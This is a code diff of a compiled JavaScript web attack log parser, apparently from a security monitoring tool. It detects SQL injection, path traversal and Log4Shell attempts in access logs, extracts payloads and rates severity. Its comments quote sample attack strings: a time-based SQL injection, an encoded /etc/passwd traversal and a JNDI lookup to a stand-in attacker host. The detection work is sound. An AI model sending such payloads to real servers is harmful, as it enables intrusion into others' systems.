var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
|
|
14
|
+
Object.defineProperty(o, "default", { enumerable: true, value: v });
|
|
15
|
+
}) : function(o, v) {
|
|
16
|
+
o["default"] = v;
|
|
17
|
+
});
|
|
18
|
+
var __importStar = (this && this.__importStar) || (function () {
|
|
19
|
+
var ownKeys = function(o) {
|
|
20
|
+
ownKeys = Object.getOwnPropertyNames || function (o) {
|
|
21
|
+
var ar = [];
|
|
22
|
+
for (var k in o) if (Object.prototype.hasOwnProperty.call(o, k)) ar[ar.length] = k;
|
|
23
|
+
return ar;
|
|
24
|
+
};
|
|
25
|
+
return ownKeys(o);
|
|
26
|
+
};
|
|
27
|
+
return function (mod) {
|
|
28
|
+
if (mod && mod.__esModule) return mod;
|
|
29
|
+
var result = {};
|
|
30
|
+
if (mod != null) for (var k = ownKeys(mod), i = 0; i < k.length; i++) if (k[i] !== "default") __createBinding(result, mod, k[i]);
|
|
31
|
+
__setModuleDefault(result, mod);
|
|
32
|
+
return result;
|
|
33
|
+
};
|
|
34
|
+
})();
|
|
2
35
|
var __importDefault = (this && this.__importDefault) || function (mod) {
|
|
3
36
|
return (mod && mod.__esModule) ? mod : { "default": mod };
|
|
4
37
|
};
|
|
5
38
|
Object.defineProperty(exports, "__esModule", { value: true });
|
|
6
|
-
exports.WEB_ATTACK_MARKERS = exports.WebAttackKind = exports.WEB_HTTP_ACTIVITY_CLASS_UID = void 0;
|
|
39
|
+
exports.MAX_MESSAGE_TARGET_LENGTH = exports.MAX_PAYLOAD_REACH = exports.WEB_ATTACK_LABELS = exports.WEB_ATTACK_MARKERS = exports.WebAttackKind = exports.WEB_ATTACK_PAYLOAD_ATTRIBUTE = exports.WEB_ATTACK_KIND_ATTRIBUTE = exports.WEB_HTTP_ACTIVITY_CLASS_UID = void 0;
|
|
7
40
|
exports.readWebAttackKind = readWebAttackKind;
|
|
8
41
|
exports.readCommonLogFormat = readCommonLogFormat;
|
|
9
42
|
exports.readJsonAccessLog = readJsonAccessLog;
|
|
43
|
+
exports.isWebAttackKind = isWebAttackKind;
|
|
44
|
+
exports.getSqlInjectionMarkers = getSqlInjectionMarkers;
|
|
45
|
+
exports.readRequestFromAttributes = readRequestFromAttributes;
|
|
46
|
+
exports.readAttackPayload = readAttackPayload;
|
|
47
|
+
exports.buildWebAttackMessage = buildWebAttackMessage;
|
|
48
|
+
exports.severityForWebAttack = severityForWebAttack;
|
|
10
49
|
const OcsfSeverity_1 = __importDefault(require("../../../Types/SecurityEvent/OcsfSeverity"));
|
|
11
50
|
const SecurityLogFormat_1 = __importDefault(require("../../../Types/SecurityEvent/SecurityLogFormat"));
|
|
51
|
+
const SecurityEventRequestOutcome_1 = __importStar(require("../../../Types/SecurityEvent/SecurityEventRequestOutcome"));
|
|
12
52
|
const NormalizerHelpers_1 = require("../NormalizerHelpers");
|
|
53
|
+
const RequestOutcome_1 = require("../RequestOutcome");
|
|
13
54
|
const SecurityLogLine_1 = require("./SecurityLogLine");
|
|
14
55
|
/*
|
|
15
56
|
* Attacks in a web server's access log - the requests the rule library's
|
|
@@ -24,11 +65,29 @@ const SecurityLogLine_1 = require("./SecurityLogLine");
|
|
|
24
65
|
*
|
|
25
66
|
* Common and combined log format lines and JSON access logs (nginx,
|
|
26
67
|
* Caddy, Envoy and the like) are read for the client address, the method,
|
|
27
|
-
* the request target and the status
|
|
28
|
-
*
|
|
29
|
-
*
|
|
68
|
+
* the request target and the status; an application's own log line written
|
|
69
|
+
* inside a request is read for the same from its OpenTelemetry attributes.
|
|
70
|
+
* The request target is the event's target resource, which the rules match
|
|
71
|
+
* on. A line with no request in it - an application's "Page not found -
|
|
72
|
+
* /x?id=1' or 1=1" error, JSON and stack trace and all - keeps the word that
|
|
73
|
+
* carries the attack there instead (readAttackPayload), so the rules still
|
|
74
|
+
* see it and a person reads the request, not the stack.
|
|
75
|
+
*
|
|
76
|
+
* The message is a one-line summary of the attack and the request, and the
|
|
77
|
+
* severity follows how far the request got (severityForWebAttack): a probe
|
|
78
|
+
* the app turned away is Low, one that broke something is High. The status
|
|
79
|
+
* a line records says that much; the request's trace says the rest
|
|
80
|
+
* (Server/Utils/SecurityEvent/RequestTrace/SecurityRequestTrace.ts).
|
|
30
81
|
*/
|
|
31
82
|
exports.WEB_HTTP_ACTIVITY_CLASS_UID = 4002;
|
|
83
|
+
// The attack a request carried (WebAttackKind), on every event this parser makes.
|
|
84
|
+
exports.WEB_ATTACK_KIND_ATTRIBUTE = "web.attack.kind";
|
|
85
|
+
/*
|
|
86
|
+
* The word that carries the attack, when the event's target does not hold
|
|
87
|
+
* it - a JNDI lookup in a header of an access log line - so the message can
|
|
88
|
+
* still say it after the request is followed.
|
|
89
|
+
*/
|
|
90
|
+
exports.WEB_ATTACK_PAYLOAD_ATTRIBUTE = "web.attack.payload";
|
|
32
91
|
var WebAttackKind;
|
|
33
92
|
(function (WebAttackKind) {
|
|
34
93
|
WebAttackKind["SqlInjection"] = "sql-injection";
|
|
@@ -253,6 +312,226 @@ function findFirstIpAddress(text) {
|
|
|
253
312
|
}
|
|
254
313
|
return "";
|
|
255
314
|
}
|
|
315
|
+
/*
|
|
316
|
+
* What a person reads first: the attack, said plainly. The same words open
|
|
317
|
+
* the event's message and name it wherever it is listed.
|
|
318
|
+
*/
|
|
319
|
+
exports.WEB_ATTACK_LABELS = {
|
|
320
|
+
[WebAttackKind.SqlInjection]: "SQL injection attempt",
|
|
321
|
+
[WebAttackKind.PathTraversal]: "Path traversal attempt",
|
|
322
|
+
[WebAttackKind.Log4Shell]: "Log4Shell exploit attempt",
|
|
323
|
+
};
|
|
324
|
+
function isWebAttackKind(value) {
|
|
325
|
+
return (typeof value === "string" &&
|
|
326
|
+
Object.values(WebAttackKind).includes(value));
|
|
327
|
+
}
|
|
328
|
+
// The SQL injection markers, lowercased: what a query holding the payload holds.
|
|
329
|
+
function getSqlInjectionMarkers() {
|
|
330
|
+
const group = exports.WEB_ATTACK_MARKERS.find((item) => {
|
|
331
|
+
return item.kind === WebAttackKind.SqlInjection;
|
|
332
|
+
});
|
|
333
|
+
return ((group === null || group === void 0 ? void 0 : group.markers) || [])
|
|
334
|
+
.filter((marker) => {
|
|
335
|
+
// Encoded markers are how a URL carries SQL, never how a query does.
|
|
336
|
+
return marker.indexOf("%") === -1 && marker.indexOf("+") === -1;
|
|
337
|
+
})
|
|
338
|
+
.map((marker) => {
|
|
339
|
+
return marker.toLowerCase();
|
|
340
|
+
});
|
|
341
|
+
}
|
|
342
|
+
/*
|
|
343
|
+
* The request as the line's own attributes describe it - OpenTelemetry's
|
|
344
|
+
* names, and the older ones instrumentation still writes: what an
|
|
345
|
+
* application's log line carries when it was written inside a request.
|
|
346
|
+
*/
|
|
347
|
+
function readRequestFromAttributes(attributes) {
|
|
348
|
+
const url = (0, SecurityLogLine_1.readAttribute)(attributes, ["url.full", "http.url", "url.original"]) ||
|
|
349
|
+
(0, SecurityLogLine_1.readAttribute)(attributes, ["url.path", "http.target"]);
|
|
350
|
+
const query = (0, SecurityLogLine_1.readAttribute)(attributes, ["url.query"]);
|
|
351
|
+
return {
|
|
352
|
+
clientIp: (0, SecurityLogLine_1.readIpAddress)((0, SecurityLogLine_1.readAttribute)(attributes, [
|
|
353
|
+
"client.address",
|
|
354
|
+
"http.client_ip",
|
|
355
|
+
"net.peer.ip",
|
|
356
|
+
"network.peer.address",
|
|
357
|
+
"source.address",
|
|
358
|
+
])),
|
|
359
|
+
method: (0, SecurityLogLine_1.readAttribute)(attributes, ["http.request.method", "http.method"])
|
|
360
|
+
.trim()
|
|
361
|
+
.toUpperCase(),
|
|
362
|
+
target: url && query && url.indexOf("?") === -1 && url.indexOf("://") === -1
|
|
363
|
+
? `${url}?${query}`
|
|
364
|
+
: url,
|
|
365
|
+
status: readStatus((0, SecurityLogLine_1.readAttribute)(attributes, [
|
|
366
|
+
"http.response.status_code",
|
|
367
|
+
"http.status_code",
|
|
368
|
+
])),
|
|
369
|
+
userAgent: (0, SecurityLogLine_1.readAttribute)(attributes, [
|
|
370
|
+
"user_agent.original",
|
|
371
|
+
"http.user_agent",
|
|
372
|
+
]),
|
|
373
|
+
};
|
|
374
|
+
}
|
|
375
|
+
// The longest stretch of text a payload is read across, either side of its marker.
|
|
376
|
+
exports.MAX_PAYLOAD_REACH = 2000;
|
|
377
|
+
/*
|
|
378
|
+
* Characters a payload never runs across: a request target or a header
|
|
379
|
+
* value ends at a space or a double quote (a single quote is part of SQL).
|
|
380
|
+
*/
|
|
381
|
+
function endsPayload(character) {
|
|
382
|
+
return (character === " " ||
|
|
383
|
+
character === "\t" ||
|
|
384
|
+
character === "\n" ||
|
|
385
|
+
character === "\r" ||
|
|
386
|
+
character === '"' ||
|
|
387
|
+
character === "<" ||
|
|
388
|
+
character === ">" ||
|
|
389
|
+
character === "`");
|
|
390
|
+
}
|
|
391
|
+
/*
|
|
392
|
+
* The word around the first marker of `kind` in `text`: the request target,
|
|
393
|
+
* header value or parameter that carries the attack - say
|
|
394
|
+
* "/sitemap.xml?offset=1;SELECT%20IF((SLEEP(16)),1,2356)" out of an
|
|
395
|
+
* application's "Page not found - /sitemap.xml?..." error. A word quoted
|
|
396
|
+
* in single quotes ("Failed to decode param '/%c0%ae/etc/passwd'") is read
|
|
397
|
+
* without them. '' when no marker of the kind is there.
|
|
398
|
+
*/
|
|
399
|
+
function readAttackPayload(text, kind) {
|
|
400
|
+
const lower = text.toLowerCase();
|
|
401
|
+
const group = exports.WEB_ATTACK_MARKERS.find((item) => {
|
|
402
|
+
return item.kind === kind;
|
|
403
|
+
});
|
|
404
|
+
let markerStart = -1;
|
|
405
|
+
let markerEnd = -1;
|
|
406
|
+
for (const marker of (group === null || group === void 0 ? void 0 : group.markers) || []) {
|
|
407
|
+
const index = lower.indexOf(marker);
|
|
408
|
+
if (index !== -1 && (markerStart === -1 || index < markerStart)) {
|
|
409
|
+
markerStart = index;
|
|
410
|
+
markerEnd = index + marker.length;
|
|
411
|
+
}
|
|
412
|
+
}
|
|
413
|
+
if (markerStart === -1) {
|
|
414
|
+
return "";
|
|
415
|
+
}
|
|
416
|
+
let start = markerStart;
|
|
417
|
+
while (start > 0 &&
|
|
418
|
+
markerStart - start < exports.MAX_PAYLOAD_REACH &&
|
|
419
|
+
!endsPayload(text[start - 1])) {
|
|
420
|
+
start--;
|
|
421
|
+
}
|
|
422
|
+
let end = markerEnd;
|
|
423
|
+
while (end < text.length &&
|
|
424
|
+
end - markerEnd < exports.MAX_PAYLOAD_REACH &&
|
|
425
|
+
!endsPayload(text[end])) {
|
|
426
|
+
end++;
|
|
427
|
+
}
|
|
428
|
+
let payload = text.slice(start, end);
|
|
429
|
+
if (payload.length > 2 &&
|
|
430
|
+
payload.startsWith("'") &&
|
|
431
|
+
payload.endsWith("'") &&
|
|
432
|
+
markerStart > start) {
|
|
433
|
+
payload = payload.slice(1, -1);
|
|
434
|
+
}
|
|
435
|
+
return payload;
|
|
436
|
+
}
|
|
437
|
+
// The message fields an application's JSON log line says what happened in.
|
|
438
|
+
const JSON_MESSAGE_FIELDS = [
|
|
439
|
+
"message",
|
|
440
|
+
"msg",
|
|
441
|
+
"error.message",
|
|
442
|
+
"err.message",
|
|
443
|
+
"error",
|
|
444
|
+
];
|
|
445
|
+
/*
|
|
446
|
+
* The payload, read from where it is most likely a request: the message of
|
|
447
|
+
* an application's JSON log line (its stack repeats it, among frames), and
|
|
448
|
+
* else anywhere in the line.
|
|
449
|
+
*/
|
|
450
|
+
function readPayload(text, kind) {
|
|
451
|
+
if (text.startsWith("{") && text.length <= SecurityLogLine_1.MAX_JSON_LINE_LENGTH) {
|
|
452
|
+
let parsed = null;
|
|
453
|
+
try {
|
|
454
|
+
parsed = JSON.parse(text);
|
|
455
|
+
}
|
|
456
|
+
catch (_a) {
|
|
457
|
+
parsed = null;
|
|
458
|
+
}
|
|
459
|
+
if (parsed && typeof parsed === "object" && !Array.isArray(parsed)) {
|
|
460
|
+
for (const field of JSON_MESSAGE_FIELDS) {
|
|
461
|
+
const value = (0, NormalizerHelpers_1.readString)(parsed, field);
|
|
462
|
+
const payload = value ? readAttackPayload(value, kind) : "";
|
|
463
|
+
if (payload) {
|
|
464
|
+
return payload;
|
|
465
|
+
}
|
|
466
|
+
}
|
|
467
|
+
}
|
|
468
|
+
}
|
|
469
|
+
return readAttackPayload(text, kind);
|
|
470
|
+
}
|
|
471
|
+
function holdsAttackMarker(value) {
|
|
472
|
+
return Boolean(value) && readWebAttackKind(value) !== null;
|
|
473
|
+
}
|
|
474
|
+
// A request target as an address: a path or a full URL.
|
|
475
|
+
function isUrlLike(value) {
|
|
476
|
+
return (value.startsWith("/") ||
|
|
477
|
+
value.startsWith("http://") ||
|
|
478
|
+
value.startsWith("https://"));
|
|
479
|
+
}
|
|
480
|
+
// How long a target may be in a message before it is cut.
|
|
481
|
+
exports.MAX_MESSAGE_TARGET_LENGTH = 400;
|
|
482
|
+
/*
|
|
483
|
+
* An attack's one-line summary:
|
|
484
|
+
*
|
|
485
|
+
* SQL injection attempt: GET /item?id=1%27%20or%201%3D1 → 200
|
|
486
|
+
* Log4Shell exploit attempt: GET / → 200 · ${jndi:ldap://attacker/a}
|
|
487
|
+
*
|
|
488
|
+
* The request as it arrived, so the rules that read a message for the
|
|
489
|
+
* attack string still find it: when the target does not hold it, the
|
|
490
|
+
* payload follows.
|
|
491
|
+
*/
|
|
492
|
+
function buildWebAttackMessage(data) {
|
|
493
|
+
const target = (0, SecurityLogLine_1.cutText)((data.target || "").trim(), exports.MAX_MESSAGE_TARGET_LENGTH);
|
|
494
|
+
const method = (data.method || "").trim().toUpperCase();
|
|
495
|
+
const request = [method, target]
|
|
496
|
+
.filter((part) => {
|
|
497
|
+
return Boolean(part);
|
|
498
|
+
})
|
|
499
|
+
.join(" ");
|
|
500
|
+
let message = request
|
|
501
|
+
? `${exports.WEB_ATTACK_LABELS[data.kind]}: ${request}`
|
|
502
|
+
: exports.WEB_ATTACK_LABELS[data.kind];
|
|
503
|
+
if (data.statusCode) {
|
|
504
|
+
message = `${message} → ${data.statusCode}`;
|
|
505
|
+
}
|
|
506
|
+
const payload = (data.payload || "").trim();
|
|
507
|
+
if (payload && !holdsAttackMarker(target)) {
|
|
508
|
+
message = `${message} · ${(0, SecurityLogLine_1.cutText)(payload, exports.MAX_MESSAGE_TARGET_LENGTH)}`;
|
|
509
|
+
}
|
|
510
|
+
return message;
|
|
511
|
+
}
|
|
512
|
+
/*
|
|
513
|
+
* How serious an attack is, by what it is and how far it got. A probe the
|
|
514
|
+
* app turned away is noise; one that reached a handler is worth a look;
|
|
515
|
+
* one that broke something, or ran in the database, is somebody's
|
|
516
|
+
* evening. Log4Shell is the exception: the lookup runs when a vulnerable
|
|
517
|
+
* logger writes the string, whatever the app answered.
|
|
518
|
+
*/
|
|
519
|
+
function severityForWebAttack(kind, outcome) {
|
|
520
|
+
if (outcome === SecurityEventRequestOutcome_1.default.ReachedDatabase) {
|
|
521
|
+
return OcsfSeverity_1.default.Critical;
|
|
522
|
+
}
|
|
523
|
+
if (kind === WebAttackKind.Log4Shell) {
|
|
524
|
+
return OcsfSeverity_1.default.High;
|
|
525
|
+
}
|
|
526
|
+
switch (outcome) {
|
|
527
|
+
case SecurityEventRequestOutcome_1.default.Rejected:
|
|
528
|
+
return OcsfSeverity_1.default.Low;
|
|
529
|
+
case SecurityEventRequestOutcome_1.default.Errored:
|
|
530
|
+
return OcsfSeverity_1.default.High;
|
|
531
|
+
default:
|
|
532
|
+
return OcsfSeverity_1.default.Medium;
|
|
533
|
+
}
|
|
534
|
+
}
|
|
256
535
|
class WebAttackLogParser {
|
|
257
536
|
static parse(line) {
|
|
258
537
|
const body = (line.body || "").trim();
|
|
@@ -266,42 +545,79 @@ class WebAttackLogParser {
|
|
|
266
545
|
if (!kind) {
|
|
267
546
|
return [];
|
|
268
547
|
}
|
|
269
|
-
|
|
270
|
-
const
|
|
271
|
-
const
|
|
548
|
+
// The request: from an access log line, else from the line's attributes.
|
|
549
|
+
const accessLog = readJsonAccessLog(text) || readCommonLogFormat(text);
|
|
550
|
+
const fromAttributes = readRequestFromAttributes(line.attributes || {});
|
|
551
|
+
const payload = readPayload(text, kind);
|
|
552
|
+
/*
|
|
553
|
+
* The target is the request an access log line records, as it always
|
|
554
|
+
* was - a JNDI lookup in its user agent leaves it the path it asked for.
|
|
555
|
+
* A line with no request in it takes the URL its attributes name when
|
|
556
|
+
* that carries the attack, and else the payload: so a rule that looks
|
|
557
|
+
* for the attack string in the target (the rule library's do) finds it
|
|
558
|
+
* there whenever the line holds no request saying otherwise.
|
|
559
|
+
*/
|
|
560
|
+
const target = accessLog
|
|
561
|
+
? accessLog.target
|
|
562
|
+
: holdsAttackMarker(fromAttributes.target)
|
|
563
|
+
? fromAttributes.target
|
|
564
|
+
: payload || text;
|
|
565
|
+
// The address asked for, when the line names one.
|
|
566
|
+
const url = (accessLog === null || accessLog === void 0 ? void 0 : accessLog.target) ||
|
|
567
|
+
fromAttributes.target ||
|
|
568
|
+
(isUrlLike(target) ? target : "");
|
|
569
|
+
const method = (accessLog === null || accessLog === void 0 ? void 0 : accessLog.method) || fromAttributes.method;
|
|
570
|
+
const statusCode = (accessLog === null || accessLog === void 0 ? void 0 : accessLog.status) || fromAttributes.status;
|
|
571
|
+
const userAgent = (accessLog === null || accessLog === void 0 ? void 0 : accessLog.userAgent) || fromAttributes.userAgent;
|
|
572
|
+
const clientIp = (accessLog === null || accessLog === void 0 ? void 0 : accessLog.clientIp) ||
|
|
573
|
+
fromAttributes.clientIp ||
|
|
574
|
+
findFirstIpAddress(text);
|
|
575
|
+
const outcome = (0, RequestOutcome_1.requestOutcomeFromStatusCode)(statusCode);
|
|
272
576
|
const attributes = {
|
|
273
|
-
|
|
577
|
+
[exports.WEB_ATTACK_KIND_ATTRIBUTE]: kind,
|
|
274
578
|
};
|
|
275
|
-
|
|
276
|
-
|
|
579
|
+
// The attack, when what the message names as the request does not hold it.
|
|
580
|
+
if (payload && !holdsAttackMarker(url || target)) {
|
|
581
|
+
attributes[exports.WEB_ATTACK_PAYLOAD_ATTRIBUTE] = (0, SecurityLogLine_1.cutText)(payload, 1000);
|
|
582
|
+
}
|
|
583
|
+
if (method) {
|
|
584
|
+
attributes[SecurityEventRequestOutcome_1.SECURITY_REQUEST_ATTRIBUTES.method] = method;
|
|
277
585
|
}
|
|
278
|
-
if (
|
|
279
|
-
attributes[
|
|
586
|
+
if (isUrlLike(url)) {
|
|
587
|
+
attributes[SecurityEventRequestOutcome_1.SECURITY_REQUEST_ATTRIBUTES.url] = (0, SecurityLogLine_1.cutText)(url, 2000);
|
|
280
588
|
}
|
|
281
|
-
if (
|
|
282
|
-
attributes[
|
|
589
|
+
if (statusCode) {
|
|
590
|
+
attributes[SecurityEventRequestOutcome_1.SECURITY_REQUEST_ATTRIBUTES.statusCode] = String(statusCode);
|
|
283
591
|
}
|
|
284
|
-
if (
|
|
285
|
-
attributes[
|
|
592
|
+
if (userAgent) {
|
|
593
|
+
attributes[SecurityEventRequestOutcome_1.SECURITY_REQUEST_ATTRIBUTES.userAgent] = (0, SecurityLogLine_1.cutText)(userAgent, 1000);
|
|
286
594
|
}
|
|
287
595
|
let statusName = "";
|
|
288
|
-
if (
|
|
289
|
-
statusName =
|
|
596
|
+
if (statusCode) {
|
|
597
|
+
statusName = statusCode >= 400 ? "Failure" : "Success";
|
|
290
598
|
}
|
|
291
|
-
|
|
292
|
-
|
|
293
|
-
|
|
294
|
-
|
|
295
|
-
|
|
296
|
-
|
|
297
|
-
|
|
298
|
-
|
|
299
|
-
|
|
300
|
-
|
|
301
|
-
|
|
302
|
-
|
|
599
|
+
const event = (0, SecurityLogLine_1.buildLogSecurityEvent)({
|
|
600
|
+
line,
|
|
601
|
+
format: SecurityLogFormat_1.default.WebAttack,
|
|
602
|
+
classUid: exports.WEB_HTTP_ACTIVITY_CLASS_UID,
|
|
603
|
+
activityName: method,
|
|
604
|
+
statusName,
|
|
605
|
+
severity: severityForWebAttack(kind, outcome),
|
|
606
|
+
message: buildWebAttackMessage({
|
|
607
|
+
kind,
|
|
608
|
+
method,
|
|
609
|
+
target: url || target,
|
|
610
|
+
statusCode,
|
|
611
|
+
payload,
|
|
303
612
|
}),
|
|
304
|
-
|
|
613
|
+
principalIp: clientIp,
|
|
614
|
+
targetResource: (0, SecurityLogLine_1.cutText)(target, 2000),
|
|
615
|
+
attributes,
|
|
616
|
+
});
|
|
617
|
+
if (outcome) {
|
|
618
|
+
event.requestOutcome = outcome;
|
|
619
|
+
}
|
|
620
|
+
return [event];
|
|
305
621
|
}
|
|
306
622
|
}
|
|
307
623
|
exports.default = WebAttackLogParser;
|
|
@@ -1,8 +1,19 @@
|
|
|
1
1
|
import commonJsModule from "./WebAttackLogParser.js";
|
|
2
2
|
export default commonJsModule.default;
|
|
3
|
+
export const MAX_MESSAGE_TARGET_LENGTH = commonJsModule.MAX_MESSAGE_TARGET_LENGTH;
|
|
4
|
+
export const MAX_PAYLOAD_REACH = commonJsModule.MAX_PAYLOAD_REACH;
|
|
5
|
+
export const WEB_ATTACK_KIND_ATTRIBUTE = commonJsModule.WEB_ATTACK_KIND_ATTRIBUTE;
|
|
6
|
+
export const WEB_ATTACK_LABELS = commonJsModule.WEB_ATTACK_LABELS;
|
|
3
7
|
export const WEB_ATTACK_MARKERS = commonJsModule.WEB_ATTACK_MARKERS;
|
|
8
|
+
export const WEB_ATTACK_PAYLOAD_ATTRIBUTE = commonJsModule.WEB_ATTACK_PAYLOAD_ATTRIBUTE;
|
|
4
9
|
export const WEB_HTTP_ACTIVITY_CLASS_UID = commonJsModule.WEB_HTTP_ACTIVITY_CLASS_UID;
|
|
5
10
|
export const WebAttackKind = commonJsModule.WebAttackKind;
|
|
11
|
+
export const buildWebAttackMessage = commonJsModule.buildWebAttackMessage;
|
|
12
|
+
export const getSqlInjectionMarkers = commonJsModule.getSqlInjectionMarkers;
|
|
13
|
+
export const isWebAttackKind = commonJsModule.isWebAttackKind;
|
|
14
|
+
export const readAttackPayload = commonJsModule.readAttackPayload;
|
|
6
15
|
export const readCommonLogFormat = commonJsModule.readCommonLogFormat;
|
|
7
16
|
export const readJsonAccessLog = commonJsModule.readJsonAccessLog;
|
|
17
|
+
export const readRequestFromAttributes = commonJsModule.readRequestFromAttributes;
|
|
8
18
|
export const readWebAttackKind = commonJsModule.readWebAttackKind;
|
|
19
|
+
export const severityForWebAttack = commonJsModule.severityForWebAttack;
|
|
@@ -0,0 +1,4 @@
|
|
|
1
|
+
import NormalizedSecurityEvent from "../../Types/SecurityEvent/NormalizedSecurityEvent.mjs";
|
|
2
|
+
import { RequestTraceAssessment } from "./RequestOutcome.mjs";
|
|
3
|
+
export declare const MAX_FOLLOWED_VALUE_LENGTH: number;
|
|
4
|
+
export declare function applyRequestAssessment(event: NormalizedSecurityEvent, assessment: RequestTraceAssessment): void;
|
|
@@ -0,0 +1,4 @@
|
|
|
1
|
+
import NormalizedSecurityEvent from "../../Types/SecurityEvent/NormalizedSecurityEvent";
|
|
2
|
+
import { RequestTraceAssessment } from "./RequestOutcome";
|
|
3
|
+
export declare const MAX_FOLLOWED_VALUE_LENGTH: number;
|
|
4
|
+
export declare function applyRequestAssessment(event: NormalizedSecurityEvent, assessment: RequestTraceAssessment): void;
|